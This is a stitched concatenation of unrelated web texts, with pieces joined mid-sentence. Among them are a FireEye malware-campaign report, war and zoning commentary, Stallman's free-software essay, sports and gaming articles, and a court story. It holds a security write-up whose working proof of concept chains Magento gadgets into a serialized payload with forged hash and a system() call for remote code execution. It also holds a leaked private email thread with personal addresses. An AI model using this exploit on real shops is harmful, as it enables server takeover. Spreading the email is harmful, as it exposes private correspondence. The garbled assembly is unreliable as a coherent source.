This particular attack is initiated by a malicious Microsoft Word document sample – a fairly standard exploit vector. “One thing that is true in nearly all targeted attacks is that there is an aspect baked in which the cybercriminal gives the victim a decoy document,” the researchers explained. “As a result, the victim is dissuaded from calling the computer helpdesk, thinking he/she got legitimate content. This attack is no different. To be clear, this clean, legitimate document is embedded inside the malicious document, and launched after the exploit is successful.”
In Sanny’s case, the document is clearly targeting users whose language is in the Cyrillic character set.
“Interesting targets, for sure,” said Lanstein and Islam. “We went through the full list of IPs scraped from the victim logs. Some of them are AV companies or security researchers, but the majority, we believe, are real victims in Russia.”
As to who is responsible, the command and control (C&C) channel is embedded on a legitimate page in a Korean message board called "nboard.net." The fonts Batang and "KP CheongPong" used in the document are Korean, and the malware also contains a fallback mechanism so that if the message board is unavailable, it tries to check mail connectivity via a Korean Yahoo mail server.
“Though we don’t have full concrete evidence, we have identified many indicators leading to Korea as a possible origin of attack,” the researchers said. South Korea in general may have some bad blood with the Russians, but the researchers may have narrowed it down even further: Some searching on "jbaksanny" (the Yahoo email used) leads to a Korean Wikipedia page created by the user named Jbaksan, they noted. The page is auto-filled and has nothing in the edit history except the creation of this user. It’s not much, but it’s a lead.
For now, FireEye found that the attacker is continuously monitoring the C&C to check new victims and their stolen data. “It looks like the attacker has a two-day cycle, i.e., after every two days, he/she collects the stolen data and deletes it from the C&C server,” they noted. “In the last five days, the attacker collected and deleted the data three times approximately after every two days.”There is no silver lining to this nearly decade-old war in Afghanistan. Poll after poll has shown that it no longer has the support of most Americans. And yet we fight on, feeding troops into the meat-grinder year after tragic year — to what end?
Photo
“Clearly, the final chapters of this particular endeavor are very much yet to be written,” said Gen. David Petraeus, the commander of American and NATO forces in Afghanistan, during a BBC interview over the weekend. He sounded as if those chapters would not be written any time soon.
In a reference to President Obama ’s assertion that U.S. troops would begin to withdraw from Afghanistan next July, General Petraeus told the interviewer: “That’s a date when a process begins, nothing more, nothing less. It’s not the date when the American forces begin an exodus and look for the exit and the light to turn off on the way out of the room.”
A lot of Americans who had listened to the president thought it was, in fact, a date when the American forces would begin an exodus. The general seems to have heard something quite different.
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In truth, it’s not at all clear how President Obama really feels about the awesome responsibilities involved in waging war, and that’s a problem. The Times’s Peter Baker wrote a compelling and in many ways troubling article recently about the steep learning curve that Mr. Obama, with no previous military background, has had to negotiate as a wartime commander in chief.
Quoting an unnamed adviser to the president, Mr. Baker wrote that Mr. Obama sees the wars in Afghanistan and Iraq as “problems that need managing” while he pursues his mission of transforming the nation. Defense Secretary Robert Gates, speaking on the record, said, “He’s got a very full plate of very big issues, and I think he does not want to create the impression that he’s so preoccupied with these two wars that he’s not addressing the domestic issues that are uppermost in people’s minds.”
Wars are not problems that need managing, which suggests that they will always be with us. They are catastrophes that need to be brought to an end as quickly as possible. Wars consume lives by the thousands (in Iraq, by the scores of thousands) and sometimes, as in World War II, by the millions. The goal when fighting any war should be peace, not a permanent simmer of nonstop maiming and killing. Wars are meant to be won — if they have to be fought at all — not endlessly looked after.
One of the reasons we’re in this state of nonstop warfare is the fact that so few Americans have had any personal stake in the wars in Iraq and Afghanistan. There is no draft and no direct financial hardship resulting from the wars. So we keep shipping other people’s children off to combat as if they were some sort of commodity, like coal or wheat, with no real regard for the terrible price so many have to pay, physically and psychologically.
Not only is this tragic, it is profoundly disrespectful. These are real men and women, courageous and mostly uncomplaining human beings, that we are sending into the war zones, and we owe them our most careful attention. Above all, we owe them an end to two wars that have gone on much too long.Planning Commission officials spent the summer working out the details of a new zoning overlay for East Callowhill, in hopes of transforming the narrow area separating Old City and Northern Liberties from an industrial desert into a walkable neighborhood with new apartments and commercial projects.
The legislation, which was recommended by the Commission on Tuesday, rezones the area bounded by 2nd, 6th, Spring Garden and Callowhill streets—31 parcels in all—to CMX-3, a medium-density commercial category that matches the zoning of the Central Delaware. The area is currently zoned I-2 for industrial development.
Under the terms of the bill, projects on the north side of the overlay would have a base height limit of 65 feet, but could climb as high as 144 feet if developers claim any of a variety of bonuses for things like stormwater management, open space, through-block connections, and mixed-income housing. Projects on the south side of the overlay, facing Interstate 76, would be limited to 100 feet, but could rise to 340 feet with bonuses.Why Software Should Be Free
by Richard Stallman
Introduction
The existence of software inevitably raises the question of how decisions about its use should be made. For example, suppose one individual who has a copy of a program meets another who would like a copy. It is possible for them to copy the program; who should decide whether this is done? The individuals involved? Or another party, called the “owner”?
Software developers typically consider these questions on the assumption that the criterion for the answer is to maximize developers' profits. The political power of business has led to the government adoption of both this criterion and the answer proposed by the developers: that the program has an owner, typically a corporation associated with its development.
I would like to consider the same question using a different criterion: the prosperity and freedom of the public in general.
This answer cannot be decided by current law—the law should conform to ethics, not the other way around. Nor does current practice decide this question, although it may suggest possible answers. The only way to judge is to see who is helped and who is hurt by recognizing owners of software, why, and how much. In other words, we should perform a cost-benefit analysis on behalf of society as a whole, taking account of individual freedom as well as production of material goods.
In this essay, I will describe the effects of having owners, and show that the results are detrimental. My conclusion is that programmers have the duty to encourage others to share, redistribute, study, and improve the software we write: in other words, to write “free” software.(1)
How Owners Justify Their Power
Those who benefit from the current system where programs are property offer two arguments in support of their claims to own programs: the emotional argument and the economic argument.
The emotional argument goes like this: “I put my sweat, my heart, my soul into this program. It comes from me, it's mine!”
This argument does not require serious refutation. The feeling of attachment is one that programmers can cultivate when it suits them; it is not inevitable. Consider, for example, how willingly the same programmers usually sign over all rights to a large corporation for a salary; the emotional attachment mysteriously vanishes. By contrast, consider the great artists and artisans of medieval times, who didn't even sign their names to their work. To them, the name of the artist was not important. What mattered was that the work was done—and the purpose it would serve. This view prevailed for hundreds of years.
The economic argument goes like this: “I want to get rich (usually described inaccurately as ‘making a living’), and if you don't allow me to get rich by programming, then I won't program. Everyone else is like me, so nobody will ever program. And then you'll be stuck with no programs at all!” This threat is usually veiled as friendly advice from the wise.
I'll explain later why this threat is a bluff. First I want to address an implicit assumption that is more visible in another formulation of the argument.
This formulation starts by comparing the social utility of a proprietary program with that of no program, and then concludes that proprietary software development is, on the whole, beneficial, and should be encouraged. The fallacy here is in comparing only two outcomes—proprietary software versus no software—and assuming there are no other possibilities.
Given a system of software copyright, software development is usually linked with the existence of an owner who controls the software's use. As long as this linkage exists, we are often faced with the choice of proprietary software or none. However, this linkage is not inherent or inevitable; it is a consequence of the specific social/legal policy decision that we are questioning: the decision to have owners. To formulate the choice as between proprietary software versus no software is begging the question.
The Argument against Having Owners
The question at hand is |
so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper).
3. Gadget Chain
Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key.
However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server.
The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods.
// lib/Varien/File/Uploader/Image.php:357 function __destruct() { $this->uploader->Clean(); }
This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’].
// lib/Varien/Cache/Backend/Database.php public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array()) { $adapter = $this->_adapter; switch($mode) { case Zend_Cache::CLEANING_MODE_ALL: if ($this->_options['store_data']) { $result = $adapter->query('TRUNCATE TABLE '.$this->_options['data_table']); }... } }
If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along the query to the very interesting method _prepareQuery(), before the query is executed.
// lib/Varien/Db/Adapter/Pdo/Mysql.php public function query($sql, $bind = array()) { try { $this->_checkDdlTransaction($sql); $this->_prepareQuery($sql, $bind); $result = parent::query($sql, $bind); } catch (Exception $e) {... } }
The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype.
// lib/Varien/Db/Adapter/Pdo/Mysql.php protected function _prepareQuery(&$sql, &$bind = array()) {... // Special query hook if ($this->_queryHook) { $object = $this->_queryHook['object']; $method = $this->_queryHook['method']; $object->$method($sql, $bind); } }
From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code.
// lib/Varien/Filter/Template/Simple.php public function filter($value) { return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e', '$this->getData("$1")', $value); }
In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax.
4. Exploit
Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example:
{${system(id)}}RIPS
We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument:
TRUNCATE TABLE {${system(id)}}RIPS
When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed:
$this->getData("{${system(id)}}")
In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands.
PoC:
class Zend_Db_Profiler { protected $_enabled = false; } class Varien_Filter_Template_Simple { protected $_startTag; protected $_endTag; public function __construct() { $this->_startTag = 'TRUNCATE TABLE '; $this->_endTag = 'RIPS'; } } class Varien_Db_Adapter_Pdo_Mysql { protected $_transactionLevel = 0; protected $_queryHook; protected $_profiler; public function __construct() { $this->_queryHook = array(); $this->_queryHook['object'] = new Varien_Filter_Template_Simple; $this->_queryHook['method'] = 'filter'; $this->_profiler = new Zend_Db_Profiler; } } class Varien_Cache_Backend_Database { protected $_options; protected $_adapter; public function __construct() { $this->_adapter = new Varien_Db_Adapter_Pdo_Mysql; $this->_options['data_table'] = '{${system(id)}}RIPS'; $this->_options['store_data'] = true; } } class Varien_File_Uploader_Image { public $uploader; public function __construct() { $this->uploader = new Varien_Cache_Backend_Database; } } $obj = new Varien_File_Uploader_Image; $b64 = base64_encode(serialize($obj)); $secret = 'Sat, 1 Nov 2014 21:08:46 +0000'; $hash = md5($b64. $secret); echo '?ga='.$b64.'&h='.$hash;
The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky.
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MIME-Version: 1.0 Received: by 10.140.18.137 with HTTP; Sun, 2 Mar 2014 17:51:04 -0800 (PST) Received: by 10.140.18.137 with HTTP; Sun, 2 Mar 2014 17:51:04 -0800 (PST) In-Reply-To: <CALk44aAyBf30prBMJJOmiKzAOkzQAyJzBAUKgO2eeW5whZTmPg@mail.gmail.com> References: <23921C3D-48C8-4723-8D53-80C35C32EF1F@gmail.com> <F9B8388D-D355-4A24-9BC8-1FFD0C4AA5FC@gmail.com> <7E3926B9-AE30-4947-8448-4B47597D6AC3@gmail.com> <CALk44aAyBf30prBMJJOmiKzAOkzQAyJzBAUKgO2eeW5whZTmPg@mail.gmail.com> Date: Sun, 2 Mar 2014 20:51:04 -0500 Delivered-To: john.podesta@gmail.com Message-ID: <CAE6FiQ-RHCgqHwTjNnZwUCLTmgX9d19xifSD8jMbXyT-m6fBow@mail.gmail.com> Subject: Re: Confidential From: John Podesta <john.podesta@gmail.com> To: Cheryl Mills <cheryl.mills@gmail.com> Content-Type: multipart/alternative; boundary=001a113ac4fc34a55c04f3aa05c5 --001a113ac4fc34a55c04f3aa05c5 Content-Type: text/plain; charset=ISO-8859-1 He was doing a story on who wanted her to run, who didn't. Had you in the latter category Only thing I told him was there was a third category-people who thought it was her decision and would support her whatever she decided. He had you, me and Maggie meeting with her at Whitehaven. Didn't mention Plouffe. I didn't engage with him on the topic. Just let him talk and gave nothing back. On Mar 2, 2014 8:35 PM, "Cheryl Mills" <cheryl.mills@gmail.com> wrote: > what did he know? > > > On Sun, Mar 2, 2014 at 8:29 PM, John Podesta <john.podesta@gmail.com>wrote: > >> He called me. Tried to get me to confirm Woodward and Bernstein style. >> Blink twice if I'm far from the truth. I didn't play along and told him >> nothing. But he knew a lot. >> >> JP >> --Sent from my iPad-- >> john.podesta@gmail.com >> For scheduling: eryn.sepp@gmail.com >> >> On Feb 28, 2014, at 3:45 PM, Cheryl Mills <cheryl.mills@gmail.com> wrote: >> >> More >> >> cdm >> >> Begin forwarded message: >> >> >> *From:* Cheryl Mills <cheryl.mills@gmail.com> >> *Date:* February 28, 2014, 3:41:27 PM EST >> *To:* Stephanie Schriock <SSchriock@emilyslist.org> >> *Subject:* *Re: Confidential* >> >> Thanks >> >> cdm >> >> On Feb 28, 2014, at 12:05 PM, Stephanie Schriock < >> SSchriock@emilyslist.org> wrote: >> >> Peter Nichols with the Wall Street Journal asked me today whether you and >> John Podesta were having meetings with The Secretary at her home in NY. I >> obviously didn't remark as I don't know but you should know he is using >> John's name. He also was digging around research but we dealt with it as we >> do with all our research. It's our's and not public. >> >> >> We talked 30 minutes ago. Thought you should know. Particularly for >> John's sake >> >> >> Sent from my iPhone >> >> > --001a113ac4fc34a55c04f3aa05c5 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable <p dir=3D"ltr">He was doing a story on who wanted her to run, who didn'= t. Had you in the latter category<br> Only thing I told him was there was a third category-people who thought it = was her decision and=A0 would support her whatever she decided.=A0 He had y= ou, me and Maggie meeting with her at Whitehaven. Didn't mention Plouff= e. I didn't engage with him on the topic. Just let him talk and gave no= thing back.</p> <div class=3D"gmail_quote">On Mar 2, 2014 8:35 PM, "Cheryl Mills"= <<a href=3D"mailto:cheryl.mills@gmail.com">cheryl.mills@gmail.com</a>&g= t; wrote:<br type=3D"attribution"><blockquote class=3D"gmail_quote" style= =3D"margin:0 0 0.8ex;border-left:1px #ccc solid;padding-left:1ex"> <div dir=3D"ltr">what did he know?</div><div class=3D"gmail_extra"><br><br>= <div class=3D"gmail_quote">On Sun, Mar 2, 2014 at 8:29 PM, John Podesta <sp= an dir=3D"ltr"><<a href=3D"mailto:john.podesta@gmail.com" target=3D"_bla= nk">john.podesta@gmail.com</a>></span> wrote:<br> <blockquote class=3D"gmail_quote" style=3D"margin:0 0 0.8ex;border-left:1p= x #ccc solid;padding-left:1ex"><div dir=3D"auto"><div>He called me. =A0Trie= d to get me to confirm Woodward =A0and Bernstein style. Blink twice if I= 9;m far from the truth. =A0I didn't play along and told him nothing. Bu= t he knew a lot.<br> <br><div>JP</div>--Sent from my iPad--<div><a href=3D"mailto:john.podesta@g= mail.com" target=3D"_blank">john.podesta@gmail.com</a></div><div>For schedu= ling: <a href=3D"mailto:eryn.sepp@gmail.com" target=3D"_blank">eryn.sepp@gm= ail.com</a></div> </div><div><div><div><br>On Feb 28, 2014, at 3:45 PM, Cheryl Mills <<a h= ref=3D"mailto:cheryl.mills@gmail.com" target=3D"_blank">cheryl.mills@gmail.= com</a>> wrote:<br><br></div><blockquote type=3D"cite"><div><div> More=A0<br><br>cdm</div><div><br>Begin forwarded message:<br></div><blockqu= ote type=3D"cite"><div><br></div><blockquote type=3D"cite"><div><b>From:</b= > Cheryl Mills <<a href=3D"mailto:cheryl.mills@gmail.com" target=3D"_bla= nk">cheryl.mills@gmail.com</a>><br> <b>Date:</b> February 28, 2014, 3:41:27 PM EST<br><b>To:</b> Stephanie Schr= iock <<a href=3D"mailto:SSchriock@emilyslist.org" target=3D"_blank">SSch= riock@emilyslist.org</a>><br><b>Subject:</b> <b>Re: Confidential</b><br> <br></div></blockquote><blockquote type=3D"cite"><div><span>Thanks </span><= br><span></span><br><span>cdm</span><br><span></span><br><span>On Feb 28, 2= 014, at 12:05 PM, Stephanie Schriock <<a href=3D"mailto:SSchriock@emilys= list.org" target=3D"_blank">SSchriock@emilyslist.org</a>> wrote:</span><= br> <span></span><br><blockquote type=3D"cite"><span>Peter Nichols with the Wal= l Street Journal asked me today whether you and John Podesta were having me= etings with The Secretary at her home in NY. I obviously didn't remark = as I don't know but you should know he is using John's name. He als= o was digging around research but we dealt with it as we do with all our re= search. It's our's and not public. </span><br> </blockquote><blockquote type=3D"cite"><span></span><br></blockquote><block= quote type=3D"cite"><span>We talked 30 minutes ago. Thought you should know=. Particularly for John's sake </span><br></blockquote><blockquote type= =3D"cite"> <span></span><br></blockquote><blockquote type=3D"cite"><span>Sent from my = iPhone</span><br></blockquote></div></blockquote></blockquote></div></block= quote></div></div></div></blockquote></div><br></div> </blockquote></div> --001a113ac4fc34a55c04f3aa05c5--The Saskatchewan general election of 1917 was the fourth provincial election in the Canadian province of Saskatchewan. It was held on June 26, 1917, to elect members of the Legislative Assembly of Saskatchewan.
After replacing Walter Scott as leader of the Liberal Party of Saskatchewan and premier of the province, William M. Martin led the party to its fourth consecutive victory – winning all but 8 of the 59 seats in the legislature.
The Conservative Party of Wellington Bartley Willoughby continued to lose popular support.
The Non-Partisan League – forerunner of the Progressive Party of Saskatchewan – nominated candidates for the first time, although none were successful. Labour candidates also appeared for the first time.
The first Independent to sit in the Saskatchewan legislature was acclaimed this election.
An at-large service vote was held to elect three soldiers from October 3 to October 13, 1917. All service members were not affiliated, and were elected to represent Saskatchewan residents stationed in France, Belgium and Great Britain.
Results [ edit ]
Note:* Party did not nominate candidates in previous election.
Members of the Legislative Assembly elected [ edit ]
For complete electoral history, see individual districts
Notes [ edit ]
1 Magnus Ramsland died in 1918. In the resulting by-election, he was succeeded by his widow Sarah Ramsland, the first woman ever elected to the Legislative Assembly of Saskatchewan.
October 13, 1917 service vote results [ edit ]
Like other provinces Saskatchewan held a service vote - actually two separate votes - for Saskatchewan residents in the Canadian armed services fighting during World War I. The first vote was for France and Belgium - two members were elected in a block vote; the top member represented France and the second member elected represented Belgium. Another member was also elected to represent troops in Great Britain. Three seats in the Legislature were set aside for these soldier-MLAs.
France and Belgium [ edit ]
Great Britain [ edit ]
References [ edit ]0 Shares
As you have probably heard by now, The Rock called CM Punk after RAW went off the air, in front of the live audience in Los Angeles. This came after the crowd was constantly chanting: “CM PUNK” after The Rock mentioned the name of AJ Lee.
The Rock was filming a scene for his new movie: Fighting For My Family that is based on the life of Paige. The Rock ended up calling CM Punk and leaving a voicemail, to the delight of the crowd in attendance.
So how mad was Vince McMahon?
It seems as if Vince McMahon was not pleased with the segment in the slightest. He reportedly sent a referee down to the ring to tell the Rock to stop the phone call. In videos of what happened, you can hear the Rock say: “my mic better not be killed” as he was approached by a WWE worker. The Rock ignored it and would go on to leave a voicemail to Punk with the crowd screaming in the background.
$10 off orders of $70 or more with code WWESAVE10 at WWEShop.com, Live through 3/31!
You can hear him talk about his mic getting cut at about 1:15 into the video:
The Rock is one of the biggest movie stars in the world and he can do whatever he wants without repercussions. This is not the first time that the Rock has went off-book. In an appearance last year, he addressed a fan wearing a Hulk Hogan costume in the front row. At that time the WWE had cut their ties with Hogan and they were trying to avoid bringing up his name.
[irp posts=”21196″ name=”WWE News: Security Confiscates A Where’s Hogan” Sign During RAW (Video), Hogan Comments On The Sign”]
It is clear that the Rock is on a level where he can do whatever the hell he wants. Let us know what you think in the comment section below.Ever since Ultima Online launched back in 1997, the MMORPG genre quickly grew and became mainstream. Nowadays, there are hundreds of free to play MMORPGs and dozens of subscription based titles, but which are the most popular in the world? Which MMORPGs have the largest playerbase? How many players do they have? Well, take a look at the list below:
Note: This list only includes MMORPGs. No MOBAs or FPS games. Remember, these numbers are WORLDWIDE. So many popular Western MMORPGs didn't even make the list. Asia is a huge market for MMORPGs, China especially, so many games that are immensely popular there dominated this list. This list is not 100% representative of the most ACTIVELY played games today, as it's based on lifetime registered users.
#1 Dungeon Fighter Online
Over 400 million registered users
Dungeon Fighter Online, also called Dungeon and Fighter, is THE most popular MMORPG in the world, largely due to its success in mainland China. The game has achieved over 3 million concurrent users during its peak in August 24, 2012 in China alone according to data released by Nexon.
#2 Fantasy Westward Journey
Over 310 million registered users
Fantasy Westward Journey is an incredibly popular MMORPG in China developed and published by Netease, China's second biggest MMORPG developer. The game boasted an incredible 2.71 million concurrent users on August 5, 2012, and since the launch of its mobile version in 2015, it has likely increased. It is easily one of the most popular MMORPGs and most profitable MMORPGs in the world, despite not having a Western release.
#3 RuneScape
Over 200 million registered users
The browser based MMORPG Runescape was one of the pioneers of the MMORPG genre and reached over 200 million registered users back in 2012. Jagex's game continues to be incredible popular even today. It's also one of the only truly global games on this list as its localized in dozens of languages and popular world wide.
#4 Dragon Nest
Over 200 million registered users
Available in the West through Nexon, Dragon Nest is an action MMORPG with anime inspired graphics. While still remaining in service, the game's playerbase in the West has stagnated, but remains strong in Asia. According to Shanda Games' the Chinese game developer which earns a stake in the Korean developer, the game has over 200 million registered users world wide.
#5 The Legend of Mir 3
Over 120 million registered users
Originally released in 2001 as a sequel to The Legend of Mir 2, The Legend of Mir 2 has over 120 million players world wide, mostly (as you probably guessed by now), in China. Despite its 2001 release date in Asia, the game launched in the U.S. in 2009, but shut down due to unprofitability.
#6 MapleStory
Over 100 million registered users
Nexon's 2D side scrolling MMORPG Maplestory is incredibly popular in both Korea and China. It was one of the first free to play MMORPGs to launch in Western markets, but its core popularity, like most games on this list, is from China and Korea. The game has stagnated quite a bit in the West, but still remains fairly popular elsewhere. MapleStory 2 aims to reinvigorate the franchise.
#7 World of Warcraft
Over 100 million registered users
Despite peaking at nearly 12.5 million active subscribers back in 2012, World of Warcraft still has over 7 million active players, with the most recent figure since the launch of Warlords of Draenor pushing that number to over 10 million. World of Warcraft is one of the few subscription based MMORPGs on this list.
#8 ZT Online / ZT Online 2
Over 100 million registered users (*Estimate)
ZT Online is a fantasy MMORPG only available in Asia reached over 2 million peak concurrent users back in September, 2009. The game's popularity has tapered a bit, but it still remains a hugely successful MMORPG.
#9 Scions of Fate (Yulgang in Asia)
Over 100 million registered users
Scions of Fate, despite its lack of popularity in the U.S., is a force to be recokned with in China. The game's 100 million registered players statistic is quite old (2007), so the actual data is probably much higher. Despite it's age, Yulgang is still popular today in China.
#10 Ragnarok Online
Over 80 million registered users
Ragnarok Online is one of the only games on this list that has broadly universal appeal; the game is incredibly popular in both the East and West. The game's 80+ million registered users are spread over 70 countries and the game is Gravity Interactive's most successful title. Despite the game's age (launched back in 2002), it still remains quite popular today. If you add in the game's private server playerbase, Ragnarok Online would be much higher on this list.
#11 Dragon Oath (TLBB in Asia)
Over 75 million registered users
Despite having little success in the West, ChangYou's Dragon Oath, called TLBB in China, has over 75 million registered players worldwide. Yes, the U.S. servers are largely dead, but it's one of the most profitable MMORPGs in China. The game's mobile version launched in China earlier in 2015 too and has been a huge hit in China.
#12 Dofus
Over 62 million registered users
Ankama's turn based RPG Dofus has attracted over 60 million registered users worldwide since its initial launch back in 2004. Dofus is a browser based MMORPG and is Ankama's first popular MMORPG and like Runescape, much of its popularity was due to its ease of access, as it's a flash based MMO.
#13 Perfect World
Over 50 million registered users
Data on this one was hard to come by, but Arc Games advertised on a banner previously that they had over 50 million registered players world-wide. To no one's surprise, this is largely because of the game's popularity in China. Perfect World published their games on their Wanmei.com portal and is one of the biggest publishers and developers in China. This figure includes Perfect World International, which is the US/EU/Non China version.
#14 Lineage
Over 43 million registered users
NCSoft's original Lineage game is still incredibly popular, despite being released over 17 years ago back in September, 1998. Despite the game's North American servers shutting down on June 29, 2011, the Korean and Chinese versions remain incredibly profitable, with Lineage also being one of the most profitable MMORPGs in the world. Lineage 2 was not nearly as successful as the first game and Lineage Eternal is the last game in the franchise.
Honorable Mentions:
Tera
Over 20 million registered users.
Originally launched as a pay to play game back in 2012, Tera later embraced the free to play model in February, 2013. Since going free to play, Tera has enjoyed enormous success in Western markets and became incredibly popular on Steam.
Star Wars: The Old Republic
~Over 10 million registered users
Originally launched as a pay to play subscription game by Electronic Arts, Star Wars: The Old Republic relaunched as a free to play title and quickly grew in popularity. Despite having a lot less total registered users than many games on this list, Star Wars: The Old Republic has an active core playerbase.
Blade and Soul
1.5M Peak Concurrent Users Q1 2014
Blade and Soul originally launched in South Korea back in mid 2012 and made its way to China in late 2013, where it saw tremendous success. According to Tencent (NCSoft's local partner in China), Blade and Soul reached 1.5M peak concurrent users in 1Q 2014. With the game's North American launch scheduled for early 2016, Blade and Soul could see some success in the West too. There's no data on total registered accounts, but with 1.5M concurrent users as recent as 2014, Blade and Soul is definitely one of the most popular MMORPGs in the world.
The most popular games aren't necessarily the most profitable. If you're curious about which MMOs make the most money, check out our most profitable MMORPGs list. Amazing how many Chinese MMORPGs made the list. MMOs are big business there and with a population over 1.3 billion, it shouldn't be too surprising some of the top most played games are exclusively in China. This list will be regularly updated as we uncover more data and as new games launch.
All data cited from industry sources and company press releases. Most of the numbers are self-reported by the developers themselves. Sources:
Dungeon Fighter Online Playerbase(Figure also cited on official developer website as well as several game trailers)
Fantasy Westward Journey Playerbase (Figure also cited in dozens of official company press releases)
Runescape Playerbase (Event celebrating 200 million players)
Dragon Nest Playerbase (Press release from developer cites figure for this individual game. Number also cited in numerous corporate press releases)
Legend of Mir Playerbase (Playerbase statistic cited by Taipei Times in an article about one player killing another in real life over an in-game item)
MapleStory Playerbase Source 1, Source 2
World of Warcraft Playerbase (Official post by Blizzard)
ZT Online (2.1 Million PCU in 2008. Estimated over 100m accounts between ZT Online 1 / 2)
Scions of Fate Playerbase (Press release from game's publisher in Southeast Asia)
Ragnarok Online Playerbase (Press release by developer cites #s)
Dragon Oath Playerbase (Oddly this image claims 90 million. It's from the official Dragon Oath FB page. The U.S. website for the game claims 75 million in its meta description)
Dofus Playerbase (Official Infographic from Ankama)
Perfect World Playerbase (Cited under the description for Perfect World International on game's official site)
Lineage Playerbase (Source cites all Lineage games, but this is from 2006. Lineage 1 remains extremely popular today and generates about as much revenue as all other NCSoft games combined as of 2015)
Tera Playerbase (Infographic from publisher)
Blade and Soul Playerbase (Tencent 2Q 2015 Investor Report)Woman who stabbed a man in the stomach after he said she was 'fit' is told to expect a lengthy prison sentence by judge
Marie Watton was told to expect a 'double figure' sentence by a judge
The 25-year-old attacked Jonathan Barras after sparking a pub brawl
Watton retrieved a kitchen knife from a friend's home before stabbing him
Mr Barras has made a full recovery since the incident in January
Watton was remanded in custody and will be sentenced on January 6
Marie Watton stabbed Jonathan Barras after he told her she was 'fit' in a pub in Telford, Shropshire
A woman who stabbed a man in the stomach because he told her she was 'fit' has been told to expect a lengthy prison sentence by a judge.
Marie Watton, 25, was so offended when Jonathan Barras complemented her looks she stabbed him in the abdomen after sparking a violent pub brawl.
The woman from Telford, Shropshire, was told to expect a 'double figure' sentence after pleading guilty to wounding with intent in Shrewsbury Crown Court.
A group of Watton's friends attacked the victim in the Duke of York pub after he told her she was attractive on January 16.
Barras punched one of the woman's friends amid the brawl, prompting Watton to go across the road to a friend's house to fetch a kitchen knife.
When she returned, she stabbed the 27-year-old and tore through his liver, kidney and small bowel after seething: 'He is having it now'.
Mr Barras required extensive medical treatment following the incident but has made a full recovery.
Yesterday, Judge Robin Onions told the court: 'He said she was fit, didn't he?
'I though that was a compliment, isn't it?'
Prosecuting Adam Warner said there was a'significant degree of premeditation' to Watton's crime.
'There was a remark made to her by Mr Barras to which she took great exception.
'The CCTV shows her moving towards him at the bar in an extremely aggressive way, and it looks in all the world that she has in fact headbutted him.
'She did not, but fighting broke out and she took an active part.
The 25-year-old went to a friend's nearby home to retrieve a kitchen knife before slicing through the victim's organs
'Mr Barras punched Matty Warrender, a friend of Watton’s, hard on the nose and there was blood everywhere.
' Marie Watton saw that and immediately said "he is having it now"'.
Though the kitchen knife was never found, a bloodstained leather jacket worn by Watton on the night in question was discovered by police in her loft.
She was remanded in custody and will be sentenced on January 6.Picture taken during the Battle of Verdun, one of the most deadliest battles of the Great War. The concentration of so much fighting in such a small area devastated the land, resulting in miserable conditions for troops on both sides. The shells turned up the earth and left gigantic craters that would then fill with water in the unbelievably heavy rains. Many parts of the western front essentially became mud holes, where you could often have 6-10 ft (2-3 m) of thick mud before hitting dry earth. Falling in some of these places would be equatable to slower, thicker, stickier quicksand. Once soldiers were trapped in it often it was impossible to extract them. Soldiers would beg their friends to shoot them and spare them the agony of slowly drowning in the mud.
At a basic level, Verdun was intended to bleed France’s armies. Falkenhayn, the commanding German officer, hoped to capture a number of French positions, forcing the French to counter attack to retake them, leaving them open to bombardment from German artillery positions. Falkenhayn hoped to recreate the devastation wrought on the French forces that the German artillery had inflicted during a series of battles in the Champagne region the year before.
The offensive began in February, 1916 and by May, more than 200,000 German and French soldiers had become casualties. This casualty rate was particularly troubling for the Germans. While the French rotated their units out of the lines and replaced them with fresh ones, the German units were kept in the line and suffered continuously. The continued back and forth continued until December of 1916 when hostilities in the sector finally subsided thanks in part to the Battle of the Somme which required Germany to divert forces to repelling the British offensive.
